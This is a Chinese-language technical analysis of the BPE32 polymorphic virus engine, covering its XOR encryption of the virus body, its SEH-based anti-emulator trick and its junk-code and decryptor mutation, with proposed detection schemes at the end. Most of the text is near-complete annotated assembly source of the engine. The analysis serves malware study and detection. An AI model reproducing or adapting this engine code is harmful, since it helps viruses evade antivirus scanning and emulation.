BPE32 多态引擎剖析

autor: nEINEI
e-mail: [email protected]
date:   2008-11-10

一 BPE32简介
二 技术细节分析
2.0 — 整体流程设计
2.1 — 随机数设计
2.2 — 代码加密方案
2.3 — 对抗VM的SEH设计
2.4 — 随机数生成与寄存器选择
2.5 — 垃圾指令生成方式
2.6 — 解密器设计
2.7 — 重建指令流程
三 代码解析
四 检测方案

一 BPE32简介:
BPE32(Benny’s Polymorphic Engine for Win32)多态引擎是由Benny’s /29A在#4期发布的一个病毒多态引擎,之后在病毒编写如(如Win32.Vulcano)及壳的编写(如ASProtect)当中都得到了应 用,BPE32是一个很不错的多态引擎,这里将从设计的角度分析该引擎。

按照Benny’s的描述,BPE32引擎有如下特点:
1 可以通过创建SHE来干扰一些AV
2 随机使用寄存器做代码的混淆
3 同一功能代码,由不同的指令动态生成
4 功能代码具有空间随机分布
5 具有仿真CALL 及 jmp 指令
6 在代码之间插入垃圾指令(也包括使用未公开的SALC指令)

我们先看一下BPE32的调用时的输入参数,
ESI  — 指向待加密的virus数据。
EDI  — 指向一块内存数据,用来存放由BPE32生成的解密器及加密数据。
ECX  — 加解密数据的计数,加解密时按照4byte的方式操作,数据由公式(_end – start +3)/4 获得。
EBP  — 做重定位时使用。
输出参数,
EAX  — 解码器加上加密数据后的大小,不对齐,精确到1byte而不是一个DWORD
调用很方式简单,例如:
mov esi, vir_body ; 病毒体
mov edi, pmem     ; 内存空间
mov ecx, 6c0h     ; 解密计数
call BPE32
这样调用后pmem里面就是一个重建的病毒代码了。
下面将对具体技术细节做分析。
二 技术细节分析
2.0 流程设计:
调用BPE32后,将在内存中产生如下方式的3部分功能代码,结构如下:
/——-    +——————–+
|    |    call  decryptor |  ———>@1
|    +——————–+
|    |                      |
|    | encryptvirus body  |  ———>@2
|    |                    |
\——>|——————–+
|                    |
|    decryptor       |
|                    |  ———>@3
+——————–+
@1 是经过计算构造好的一个call调用,因为调用的具体位置要有@2部分决定。
@2 是一个经过加密后的病毒体。
@3 是一个解密器,用于对@2部分进行解密,该部分是经过代码混淆变换的。
这样每次感染其它文件后,重新生成的代码将不再有固定的特征部分,这将使得特征扫描机制失效。

2.1 随机数设计:
BPE32的随机数部分设计的很简单,利用了RDTCS指令来产生一个随机数字,通过栈中参数X,产生一个0 ~ X-1 之间的数字,当参数是0时,则直接返回产生的该数字。
random    proc
push edx
RDTCS
xor edx, edx        ;nulify EDX, we need only EAX
cmp [esp+8], edx        ;is parameter==0 ?
je r_out            ;yeah, do not truncate result
div dword ptr [esp+8]    ;divide it
xchg eax, edx        ;remainder as result
r_out:    pop edx        ;restore EDX
ret Pshd                  ;quit procedure and destroy pushed parameter
random    endp

2.2 代码加密方案:
BPE32采用的加密方案是,先产生两个随机数,一个作为密钥B_key(不变的数字),一个作为增量密钥I_key(每次运算后相加),每次使得B_key + I_key,然后 xor 待加密数据一个DWORD,实现如下:

push 0                     ;产生一个无索引范围的随机数
call random
xchg edx, eax
mov [ebp + xor_key – mgdelta], edx    ;存储基密钥
push 0                     ;产生一个无索引范围的随机数
call random
xchg ebx, eax
mov [ebp + key_inc – mgdelta], ebx    ;存储增量密钥
x_loop:    lodsd                 ;加密virus body
xor eax, edx
stosd
add edx, ebx
loop x_loop

2.3 对抗VM的SEH设计:
对于上面小节中提到的 @3部分,其实是由如下部分组成的,decryptor如下图:
+——————+ <——–\
|  seh handler     |          |
+——————+          |
|  deleta geter    |          |
+——————+          |
|   decryption     |          |
+——————+          |
|  loop decryptor  | ———/
+——————+
seh handler    — 安装一个seh处理过程。
deleta geter   — 因为@3部分是由垃圾指令随机填充的,所以每循环一次后需要进行一次重定位。
decryption     — 解密部分,同样由垃圾指令所包围。
loop decryptor — 跳向seh handler。
对于SEH BPE32会产生如下形式的代码:
start:
call end_seh_fn
/—->mov esp, [esp+8]       ;–> 相当于push  seh->handler
|     jmp seh_rs
|     end_seh_fn:
|     sub edx, edx
|     push dword ptr fs:[edx] ;–> 相当于push  seh->prev
|     mov fs:[edx], esp
\—–inc byte ptr [edx]      ;–> 该处引发异常,跳向上面语句
jmp start
seh_rs:    xor edi, edi
pop dword ptr fs:[edi]
pop edi
这样对于使用vm技术的aver,如果没有做好seh仿真,将导致仿真失败,无法完成检测,而jmp start 这条语句也很重要,有些aver会实现指令预取的功能(具体可参考《对抗启发式代码仿真检测技术分析》一文),这样会另aver陷入无休止的仿真循环当 中。

2.4 随机数生成与寄存器选择
BPE32 通过get_reg 函数产生一个随机的寄存器索引,即产生0 ~ 7 之间的整数,不使用EAX(0),ESP(100b) ,在调用的外部也会判断是否使用了的EBP(101b),实现如下:
get_reg proc
push 8       ; 产生一个随机的 0 ~ 7 之间的整数
call random
test eax, eax
je get_reg   ;不能使用eax
cmp al, 100b ;不能使用esp
je get_reg
ret
get_reg endp
2.5 垃圾指令生成方式:
BPE32 通过调用rjunk 函数来产生垃圾指令,这部分可以产生1byte,2 byte,3byte,5byte垃圾指令,及jmp call类的仿真指令(无疑这类指令的加入使得junk看起来更像真实的指令),同时为了使junk的产生更加随机化,BPE32做了一个简单映射关系。
0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
左侧索引(eax,随机数) = 右侧(垃圾指令字节数),也就是rjunk先产生一个0 ~ 7 的随机数,根据这个索引映射的列表,进行垃圾指令的生成,例如:
eax 是 0时,产生5byte junk
eax 是 1时,产生1byte junk 和 2byte junk
eax 是 2时,则先产生2byte junk,再产生1byte junk
eax 是 7时,产生jmp或call
按照以上的映射关系,依次类推的产生垃圾指令,下面以1byte junk的代码来说如何产生垃圾代码。
1 byte junk 示例:
esi — > 待加密数据
edi — > 内存buff
产生1byte junk指令到内存buff
j1:
call junx1      ;one byte junk instruction
nop
dec eax
SALC
inc eax
clc
cwde
stc
cld
junx1:
pop esi                ; 1 byte junk 指令首地址,即指向nop指令
push 8
call random
add esi, eax    ; 随机定位一条
movsb           ;加入edi指向的内存当中
ret
其它的junk产生方式仅比 1byte junk复杂一些而已,故不再赘述,BPE32还有一个重要的功能指令产生函数,make_xor,make_xor2,make_xor主要是将指定的 寄存器(由bl寄存器中的内容指定)清0,make_xor可以产生随机的,xor,Rx,Rx / sub Rx,Rx/ mov Rx,0 这样的等效指令,make_xor2则产生一个指定寄存器xor某一数值的指令,例如:
mov bh,2
call make_xor2
mov eax,01234567h
stosd
以上则产生一条xor edx,01234567h这样的指令,以上两个函数功能简单,故不再做过多说明。

2.6 解密器设计
因为BPE32可以随机的使用寄存器,故这里用Rx来表示任意一个可用的寄存器,每条语句的Rx并不一定代表同一个寄存器。解密器的设计是BPE32多态的重点,我这里先将主要的功能代码表示出来。
mov  Rx,src      ——–  I1  获得待解密的地址,放入Rx中
mov  Rx, cnt      ——–  I2  获得要解密的此时,放入Rx中
/—>xor  Rx,Rx       ——–  I3  解密
|    add  Rx,4        ——–  I4  待解密的地址加4
|    add  Rx,1        ——–  I5  计数器加1
|    add  Rx,Rx       ——–  I6  基密钥 + 增量密钥
|    jcxz xxx          ——–  I7  测试解密是否完成,完成后跳出循环
\— jmp  xxx          ——–  I8  继续解密
BPE32围绕 I1 ~ I8 ,通过随机寄存器、插入垃圾指令、变换指令顺序、同等指令替换等手段产生来产生数据不同但功能相同的解密代码,下面我将列举一个去除垃圾指令的BPE32产生的解密代码。
0040202B    E8 00000000     CALL T-BPE32.00402030          ;构造的一个call

00402030    8B3C24          MOV EDI,DWORD PTR SS:[ESP]
00402033    58              POP EAX
00402034    81EF 30204000   SUB EDI,T-BPE32.00402030       ;构造一个重定位
; I1 的一种生成方式,F7973BCB为随机产生的一个密钥,xor后,ecx 指向了最初call调用后地址,即待解密数据首地址
0040203A    68 CB3B97F7     PUSH F7973BCB;构造一个随机加密的密钥使得ecx指向最初的一个call调用
0040203F    59              POP ECX                        ;这里ecx寄存器随机生成
00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE

00402046    03CF            ADD ECX,EDI             ;加重定位,获得真正数据的指向
;I2 的一种生成方式,方案类似于 I1
00402048    33D2            XOR EDX,EDX         ;获得解密的次数,同样采用随机密钥来混淆
0040204A    81C2 68D4F805   ADD EDX,5F8D468
00402050    81F2 6AD4F805   XOR EDX,5F8D46A
;I3
00402056    2BDB            SUB EBX,EBX                    ;获得密钥,该处密钥均为0
00402058    81C3 00000000   ADD EBX,0
0040205E    3119            XOR DWORD PTR DS:[ECX],EBX     ;解密

;I4 使计数增加的一种方式
00402060    41              INC ECX                                                             ;源数据增加4
00402061    41              INC ECX
00402062    41              INC ECX
00402063    41              INC ECX

;I5
00402064    B8 CC54578A     MOV EAX,8A5754CC               ;循环计数减1
00402069    2BD0            SUB EDX,EAX
0040206B    81C2 CB54578A   ADD EDX,8A5754CB
;I6
00402071    B8 00000000     MOV EAX,0                                             ;基址密钥+增量密钥加(目前增量是0)
00402076    03D8            ADD EBX,EAX
;I7
00402078    51              PUSH ECX
00402079    8BCA            MOV ECX,EDX
/-0040207B  E3 03           JECXZ SHORT T-BPE32.00402080   ;测试看解密是否完成
|   ;I8
|0040207D    59             POP ECX
|0040207E  ^ EB DE          JMP SHORT T-BPE32.0040205E     ;继续进行解密
\–>00402080    59          POP ECX
00402081    61              POPAD
00402082    C3              RETN2.7 重建指令流程
针对解密器,BPE32对执行先后顺序无关的代码,进行了重新排列,首先BPE32现将这些功能分成8个部分,即greg0 ~ greg7个处理例程。其中:
greg0  — 产生SEH部分代码
greg1  — 产生SEH部分代码
greg2  — 产生mov Rx,src 类代码
greg3  — 产生mov Rx, cnt类代码
以上部分例程不进行代码重排序。
greg4  —    产生密钥自增代码
greg5  — 产生待解密数据自增代码
greg6  — 产生计数器自减的代码
greg7  — 产生解密跳转的代码
BPE32会对 greg4 ~ greg6 进行重排序,因这几部分代码进行重排序,不会影响解密代码功能,以此来达到代码混淆的目的。同时这几部分功能都有能力产生,功能一致但代码不同的新指令如:
greg4提供4种等效方案,供随机选择
1:XCHG EAX, Rx
XOR Rx, Rx
OR Rx, EAX
ADD Rx, value
2: add Rx,value
3: mov eax,value
add Rx,eax
4: mov eax,Rx
add eax,value
xchg eax,Rx
greg5 提供多种等效方案,供随机选择,如
1:
inc Rx  ;执行4次
2:                       3:
mov eax,Rx ,             mov eax,4
add eax,4                add Rx,eax
xchg eax,Rx
greg6提供了4种等效方案,供随机选择
1:sub Rx,1
2:dec Rx,1
3:
mov eax, random_v
sub Rx, eax
add reg,random -1
4:
xchg eax,Rx
dec eax
xchg eax,Rx
greg7提供了两种等效方案,供随机选择
1:
push ecx
mov ecx, reg
jecxz label
pop ecx
jmp decrypt_loop
label:
pop ecx
2 :
xor eax, eax
dec eax
add eax, reg
jns decrypt_loop
而整体greg4 ~ greg6的排序规则由如下代码产生:
push 6            ;产生0 ~ 5种方案的随机排列顺序
call random
test eax, eax
je g5            ;greg4 – key incremention
cmp al, 1            ;greg5 – source incremention
je g1            ;greg6 – count decremention
cmp al, 2            ;greg7 – decryption loop
je g2
cmp al, 3
je g3
cmp al, 4
je g4
g0:    call gg1
call greg6
jmp g_end
g1:    call gg2
call greg5
jmp g_end
g2:    call greg5
call gg2
jmp g_end
g3:    call greg5
gg3:    call greg6
jmp g_out
g4:    call greg6
call gg1
jmp g_end
g5:    call greg6
call greg5
g_out:    call greg4
g_end:    call greg7
mov al, 61h
stosb
call rjunk
mov al, 0c3h
stosb
pop eax
sub eax, edi
neg eax
mov [esp.Pushad_eax], eax
popad
ret    ;整个BPE32结束
三 代码解析
下面将对BPE32关键处的代码做简要的注释;
RDTCS    equ    <dw    310Fh>      ;RDTCS opcode
SALC    equ    <db    0D6h>      ;SALC opcode
BPE32   Proc
pushad              ;save all regs
push edi              ;save these regs for l8r use
push ecx              ;    …
mov edx, edi          ;    …
push esi              ;preserve this reg
call rjunk          ;generate random junk instructions
pop esi              ;restore it
mov al, 0e8h          ;create CALL instruction
stosb              ;    …
mov eax, ecx          ;    …
imul eax, 4          ;    …
stosd              ;    …
;edx保存有最开始的edi
mov eax, edx        ;calculate size of CALL+junx
sub edx, edi        ;    …
neg edx            ;    …
add edx, eax        ;    …
push edx            ;保存 call 与 填充垃圾指令的差值
push 0            ;get random number
call random        ;    …
xchg edx, eax
mov [ebp + xor_key – mgdelta], edx    ;use it as xor constant
push 0                    ;get random number
call random                ;    …
xchg ebx, eax
mov [ebp + key_inc – mgdelta], ebx    ;use it as key increment constant
x_loop:    lodsd                    ;load DWORD
xor eax, edx                ;encrypt it
stosd                    ;store encrypted DWORD
add edx, ebx                ;increment key
loop x_loop                ;next DWORD
;    以上完成了对病毒体的加密
;    下面进行利用SEH对抗AV VM仿真
call rjunk            ;generate junx
mov eax, 0006e860h            ;generate SEH handler
stosd                    ;    …
mov eax, 648b0000h            ;    …
stosd                    ;    …
mov eax, 0ceb0824h            ;    …
stosd                    ;    …
;以上产生类似如下代码
;pushad
;call t_bpe32.0040200c
;mov esp,dword ptr ss:[esp+8]
;jmp short t_bpe32.00402018
greg0:    call get_reg                ;get random register
cmp al, 5                                    ;MUST NOT be EBP register
je greg0
mov bl, al                                ;store register
;dl 是参数,11 是产生非mov reg,reg 指令的标志
mov dl, 11                                ;proc parameter (do not generate MOV)
call make_xor        ;create XOR or SUB instruction
inc edx                                        ;destroy parameter
mov al, 64h                                ;generate FS:
stosb                                            ;store it
mov eax, 896430ffh        ;next SEH instructions
or ah, bl                                    ;change register
stosd                                            ;store them
mov al, 20h                                ;    …
add al, bl                                ;    …
stosb                                            ;    …
;以上将产生类似如下代码
;xor Rx,Rx
;push dword ptr fs:[Rx]
;mov  dword ptr fs:[Rx],esp
push 2                ;get random number
call random
test eax, eax
je _byte_
mov al, 0feh    ;generate INC DWORD PTR
jmp _dw_
_byte_:    mov al, 0ffh    ;generate INC BYTE PTR
_dw_:    stosb        ;store it
mov al, bl    ;store register
stosb
mov al, 0ebh    ;generate JUMP SHORT
stosb
mov al, -24d    ;generate jump to start of code (trick
stosb               ;for better emulators, e.g. NODICE32)
; 以上产生类似如下代码
; inc byte ptr [edx]
; jmp start
call rjunk                                ;generate junx
greg1:    call get_reg        ;generate random register
cmp al, 5                                    ;MUST NOT be EBP
je greg1
mov bl, al                                ;store it
call make_xor        ;generate XOR,SUB reg, reg or MOV reg, 0
mov al, 64h        ;next SEH instructions
stosb
mov al, 8fh
stosb
mov al, bl
stosb
mov al, 58h
add al, bl
stosb
mov al, 0e8h        ;generate CALL
stosb
xor eax, eax
stosd
push edi             ;store for l8r use
call rjunk        ;call junk generator

call get_reg        ;random register
mov bl, al        ;store it
push 1            ;random number (0-1)
call random
test eax, eax
jne next_delta
mov al, 8bh        ;generate MOV reg, [ESP]; POP EAX
stosb
mov al, 80h
or al, bl
rol al, 3
stosb
mov al, 24h
stosb
mov al, 58h
jmp bdelta
;以上产生类似如下代码
;seh_rs:
;    xor Rx, Rx
;    pop dword ptr fs:[Rx]
;    pop Rx
next_delta:
mov al, bl                ;generate POP reg; SUB reg, …
add al, 58h
bdelta:    stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bl
stosb
pop eax
stosd
call rjunk            ;random junx
;做一个随机的重定位
xor bh, bh            ;parameter (first execution only)
call greg2            ;generate MOV sourcereg, …
mov al, 3                ;generate ADD sourcereg, deltaoffset
stosb
mov al, 18h
or al, bh
rol al, 3
or al, bl
stosb
mov esi, ebx            ;store EBX
call greg2            ;generate MOV countreg, …
mov cl, bh            ;store count register
mov ebx, esi            ;restore EBX

call greg3            ;generate MOV keyreg, …
push edi                ;store this position for jump to decryptor
mov al, 31h            ;generate XOR [sourcereg], keyreg
stosb
mov al, ch
rol al, 3
or al, bh
stosb
push 6                ;this stuff will choose ordinary of calls
call random            ;to code generators
test eax, eax
je g5                ;greg4 – key incremention
cmp al, 1                ;greg5 – source incremention
je g1                ;greg6 – count decremention
cmp al, 2                ;greg7 – decryption loop
je g2
cmp al, 3
je g3
cmp al, 4
je g4
g0:    call gg1
call greg6
jmp g_end
g1:    call gg2
call greg5
jmp g_end
g2:    call greg5
call gg2
jmp g_end
g3:    call greg5
gg3:    call greg6
jmp g_out
g4:    call greg6
call gg1
jmp g_end
g5:    call greg6
call greg5
g_out:    call greg4
g_end:    call greg7
mov al, 61h            ;generate POPAD instruction
stosb
call rjunk            ;junk instruction generator
mov al, 0c3h            ;RET instruction
stosb
pop eax                ;calculate size of decryptor and encrypted data
sub eax, edi
neg eax
mov [esp.Pushad_eax], eax        ;store it to EAX register
popad                ;restore all regs
ret                ;and thats all folx
get_reg proc                ;this procedure generates random register
push 8                ;random number (0-7)
call random            ;    …
test eax, eax
je get_reg            ;MUST NOT be 0 (=EAX is used as junk register)
cmp al, 100b            ;MUST NOT be ESP
je get_reg
ret
get_reg endp
make_xor proc            ;this procedure will generate instruction, that
push 3            ;will nulify register (BL as parameter)
call random
test eax, eax
je _sub_
cmp al, 1
je _mov_
mov al, 33h         ;generate XOR reg, reg
jmp _xor_
_sub_:    mov al, 2bh        ;generate SUB reg, reg
_xor_:    stosb
mov al, 18h
or al, bl
rol al, 3
or al, bl
stosb
ret
_mov_:    cmp dl, 11        ;generate MOV reg, 0
je make_xor
mov al, 0b8h
add al, bl
stosb
xor eax, eax
stosd
ret
make_xor endp
gg1:    call greg4
jmp greg5
gg2:    call greg4
jmp greg6

random    proc                ;this procedure will generate random number
push edx                ;save EDX
RDTCS                    ;RDTCS instruction – reads PCs tix and stores
xor edx, edx            ;nulify EDX, we need only EAX
cmp [esp+8], edx        ;is parameter==0 ?
je r_out
div dword ptr [esp+8]    ;divide it
xchg eax, edx        ;remainder as result
r_out:    pop edx            ;restore EDX
ret Pshd            ;quit procedure and destroy pushed parameter
random    endp
make_xor2 proc            ;create XOR instruction
mov al, 81h
stosb
mov al, 0f0h
add al, bh
stosb
ret
make_xor2 endp
greg2    proc            ;1 parameter = source/count value
call get_reg        ;get register
cmp al, bl        ;already used ?
je greg2
cmp al, 5
je greg2
cmp al, bh
je greg2
mov bh, al
mov ecx, [esp+4]    ;get parameter(构造的第一个call指令后下一个地址)
push 5        ;choose instructions
call random
test eax, eax
je s_next0
cmp al, 1
je s_next1
cmp al, 2
je s_next2
cmp al, 3
je s_next3

mov al, 0b8h            ;MOV reg, random_value
add al, bh            ;XOR reg, value
stosb                ;param = random_value xor value
push 0
call random
xor ecx, eax
stosd
call make_xor2
mov eax, ecx
jmp n_end2
s_next0:mov al, 68h        ;PUSH random_value
stosb            ;POP reg
push 0            ;XOR reg, value
call random        ;result = random_value xor value
xchg eax, ecx
xor eax, ecx
stosd
mov al, 58h
add al, bh
stosb
call make_xor2
xchg eax, ecx
jmp n_end2
s_next1:mov al, 0b8h    ;MOV EAX, random_value
stosb        ;MOV reg, EAX
push 0        ;SUB reg, value
call random    ;result = random_value – value
stosd
push eax
mov al, 8bh
stosb
mov al, 18h
or al, bh
rol al, 3
stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bh
stosb
pop eax
sub eax, ecx
jmp n_end2
s_next2:push ebx        ;XOR reg, reg
mov bl, bh    ;XOR reg, random_value
call make_xor    ;ADD reg, value
pop ebx        ;result = random_value + value
call make_xor2
push 0
call random
sub ecx, eax
stosd
push ecx
call s_lbl
pop eax
jmp n_end2
s_lbl:    mov al, 81h        ;create ADD reg, … instruction
stosb
mov al, 0c0h
add al, bh
stosb
ret
s_next3:push ebx            ;XOR reg, reg
mov bl, bh        ;ADD reg, random_value
call make_xor        ;XOR reg, value
pop ebx            ;result = random_value xor value
push 0
call random
push eax
xor eax, ecx
xchg eax, ecx
call s_lbl
xchg eax, ecx
stosd
call make_xor2
pop eax
n_end2:    stosd
push esi
call rjunk
pop esi
ret Pshd
greg2    endp
greg3    proc
call get_reg            ;get register
cmp al, 5                ;already used ?
je greg3
cmp al, bl
je greg3
cmp al, bh
je greg3
cmp al, cl
je greg3
mov ch, al
mov edx, 0            ;get encryption key value
xor_key = dword ptr $ – 4
push 3
call random
test eax, eax
je k_next1
cmp al, 1
je k_next2
push ebx                ;XOR reg, reg
mov bl, ch            ;OR, ADD, XOR reg, value
call make_xor
pop ebx

mov al, 81h
stosb
push 3
call random
test eax, eax
je k_nxt2
cmp al, 1
je k_nxt3
mov al, 0c0h
k_nxt1:    add al, ch
stosb
xchg eax, edx
n_end1:    stosd
k_end:    call rjunk
ret
k_nxt2:    mov al, 0f0h
jmp k_nxt1
k_nxt3:    mov al, 0c8h
jmp k_nxt1
k_next1:mov al, 0b8h                ;MOV reg, value
jmp k_nxt1
k_next2:mov al, 68h                ;PUSH value
stosb                    ;POP reg
xchg eax, edx
stosd
mov al, ch
add al, 58h
jmp i_end1
greg3    endp
greg4    proc
mov edx, 0             ;get key increment value
key_inc = dword ptr $ – 4
i_next:    push 3
call random
test eax, eax
je i_next0
cmp al, 1
je i_next1
cmp al, 2
je i_next2
mov al, 90h            ;XCHG EAX, reg
add al, ch            ;XOR reg, reg
stosb                ;OR reg, EAX
push ebx                ;ADD reg, value
mov bl, ch
call make_xor
pop ebx
mov al, 0bh
stosb
mov al, 18h
add al, ch
rol al, 3
stosb
i_next0:mov al, 81h            ;ADD reg, value
stosb
mov al, 0c0h
add al, ch
stosb
xchg eax, edx
jmp n_end1
i_next1:mov al, 0b8h            ;MOV EAX, value
stosb                                            ;ADD reg, EAX
xchg eax, edx
stosd
mov al, 3
stosb
mov al, 18h
or al, ch
rol al, 3
i_end1:    stosb
i_end2:    call rjunk
ret
i_next2:mov al, 8bh                ;MOV EAX, reg
stosb                                        ;ADD EAX, value
mov al, 0c0h                ;XCHG EAX, reg
add al, ch
stosb
mov al, 5
stosb
xchg eax, edx
stosd
mov al, 90h
add al, ch
jmp i_end1
greg4    endp
greg5    proc
push ecx
mov ch, bh
push 4
pop edx
push 2
call random
test eax, eax
jne ng5
call i_next                ;same as previous, value=4
pop ecx
jmp k_end
ng5:    mov al, 40h                ;4x inc reg
add al, ch
pop ecx
stosb
stosb
stosb
jmp i_end1
greg5    endp
greg6    proc
push 5
call random
test eax, eax
je d_next0
cmp al, 1
je d_next1
cmp al, 2
je d_next2
mov al, 83h                ;SUB reg, 1
stosb
mov al, 0e8h
add al, cl
stosb
mov al, 1
jmp i_end1
d_next0:mov al, 48h                ;DEC reg
add al, cl
jmp i_end1
d_next1:mov al, 0b8h                ;MOV EAX, random_value
stosb                                            ;SUB reg, EAX
push 0                                        ;ADD reg, random_value-1
call random
mov edx, eax
stosd
mov al, 2bh
stosb
mov al, 18h
add al, cl
rol al, 3
stosb
mov al, 81h
stosb
mov al, 0c0h
add al, cl
stosb
dec edx
mov eax, edx
jmp n_end1
d_next2:mov al, 90h                ;XCHG EAX, reg
add al, cl                ;DEC EAX
stosb                                        ;XCHG EAX, reg
mov al, 48h
stosb
mov al, 90h
add al, cl
jmp i_end1
greg6    endp

greg7    proc
mov edx, [esp+4]
dec edx
push 2
call random
test eax, eax
je l_next0
mov al, 51h            ;PUSH ECX
stosb                ;MOV ECX, reg
mov al, 8bh            ;JECXZ label
stosb                ;POP ECX
mov al, 0c8h            ;JMP decrypt_loop
add al, cl            ;label:
stosb                ;POP ECX
mov eax, 0eb5903e3h
stosd
sub edx, edi
mov al, dl
stosb
mov al, 59h
jmp l_next
l_next0:push ebx        ;XOR EAX, EAX
xor bl, bl    ;DEC EAX
call make_xor    ;ADD EAX, reg
pop ebx             ;JNS decrypt_loop
mov al, 48h
stosb
mov al, 3
stosb
mov al, 0c0h
add al, cl
stosb
mov al, 79h
stosb
sub edx, edi
mov al, dl
l_next:    stosb
call rjunk
ret Pshd
greg7    endp

rjunkjc:push 7
call random
jmp rjn

rjunk    proc      ;junk instruction generator
push 8
call random;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
;左侧索引(eax,随机数) = 右侧(垃圾指令字节数)
rjn:    test eax, eax
je j5
cmp al, 1
je j_1x2
cmp al, 2
je j_2x1
cmp al, 4
je j2
cmp al, 5
je j3
cmp al, 6
je r_end
cmp al, 7
je jcj
j1:    call junx1        ;one byte junk instruction
nop
dec eax
SALC
inc eax
clc
cwde
stc
cld
junx1:    pop esi
push 8
call random
add esi, eax
movsb
ret
j_1x2:    call j1            ;one byte and two byte
jmp j2
j_2x1:    call j2            ;two byte and one byte
jmp j1
j3:    call junx3
db    0c1h, 0c0h    ;rol eax, …
db    0c1h, 0e0h    ;shl eax, …
db    0c1h, 0c8h    ;ror eax, …
db    0c1h, 0e8h    ;shr eax, …
db    0c1h, 0d0h    ;rcl eax, …
db    0c1h, 0f8h    ;sar eax, …
db    0c1h, 0d8h    ;rcr eax, …
db    083h, 0c0h
db    083h, 0c8h
db    083h, 0d0h
db    083h, 0d8h
db    083h, 0e0h
db    083h, 0e8h
db    083h, 0f0h
db    083h, 0f8h    ;cmp eax, …
db    0f8h, 072h    ;clc; jc …
db    0f9h, 073h    ;stc; jnc …
junx3:    pop esi            ;three byte junk instruction
push 17
call random
imul eax, 2
add esi, eax
movsb
movsb
r_ran:    push 0
call random
test al, al
je r_ran
stosb
ret
j2:    call junx2
db    8bh        ;mov eax, …
db    03h        ;add eax, …
db    13h        ;adc eax, …
db    2bh        ;sub eax, …
db    1bh        ;sbb eax, …
db    0bh        ;or eax, …
db    33h        ;xor eax, …
db    23h        ;and eax, …
db    33h        ;test eax, …

junx2:    pop esi            ;two byte junk instruction
push 9
call random
add esi, eax
movsb
push 8
call random
add al, 11000000b
stosb
r_end:    ret
j5:    call junx5
db    0b8h        ;mov eax, …
db    05h        ;add eax, …
db    15h        ;adc eax, …
db    2dh        ;sub eax, …
db    1dh        ;sbb eax, …
db    0dh        ;or eax, …
db    35h        ;xor eax, …
db    25h        ;and eax, …
db    0a9h        ;test eax, …
db    3dh        ;cmp eax, …

junx5:    pop esi            ;five byte junk instruction
push 10
call random
add esi, eax
movsb
push 0
call random
stosd
ret
jcj:    call rjunkjc        ;junk
push edx
push ebx        ;junk
push ecx
mov al, 0e8h        ;CALL label1
stosb
push edi
stosd
push edi
call rjunkjc
mov al, 0e9h        ;JMP label2
stosb
mov ecx, edi
stosd
mov ebx, edi            ; 保存后方要修改jmp地址时的EDI,
call rjunkjc
pop eax
sub eax, edi
neg eax
mov edx, edi
pop edi
stosd
mov edi, edx
call rjunkjc
mov al, 0c3h                ; ret
stosb
call rjunkjc
sub ebx, edi            ;前面指令jmp 后的地址值
neg ebx
xchg eax, ebx
push edi
mov edi, ecx
stosd
pop edi
call rjunkjc
pop ecx
pop ebx
pop edx
ret
rjunk    endp
BPE32     EndP    ;BPE32 ends here

四 检测方案
针对BPE32产生的代码大致可以有三种检测方案(当然也可能有更多);
1 通过VM仿真执行,解密后按特征码方式匹配,仿真结束的标志可以通过连续内存操作结束来判断。
2 通过识别SEH部分来检测是否被bpe32多态引擎感染过,首先可以通过带通配符的检测方法,定位到seh部分,当识别到inc byte ptr [Rx] 引发异常,及后面的jmp start时,即可判断被感染(当然该方案不准确,存在误报)。
3 如果方案1的特征匹配失效过,可对vm仿真解密后buff进行算法扫描,具体方案,记录第一个call指令后的地址设为v_callnext,而后搜索重 定位代码,之后如发现连续的寄存器操作则计算该操作值(大家可查看前面的解析,执行到这一步时是进行解密前源数据的获取,当然这其中包含插入的垃圾指令) 以上面的代码为例,执行的是如下代码:
0040203A    68 CB3B97F7     PUSH F7973BCB;构造一个随机加密的密钥使得ecx指向最初的一个call调用
0040203F    59              POP ECX                        ;这里ecx寄存器是随机生成的
00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE
if(v_callnext == F7973BCB ^ F7D71BCE)
{
printf(“found Polymorphic virus\n”);
}
该搜索过程需要设置步长(100 字节以内就可以),方案3检测速度慢,同样存在误报问题。
以上就是针对BPE32的多态引擎分析,如有分析不正确的地方还望大家不吝指正,也可通过邮件我们一起交流。

附参考文献:
[1] Benny‘s .《Benny’s Polymorphic Engine for Win32》

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

发表评论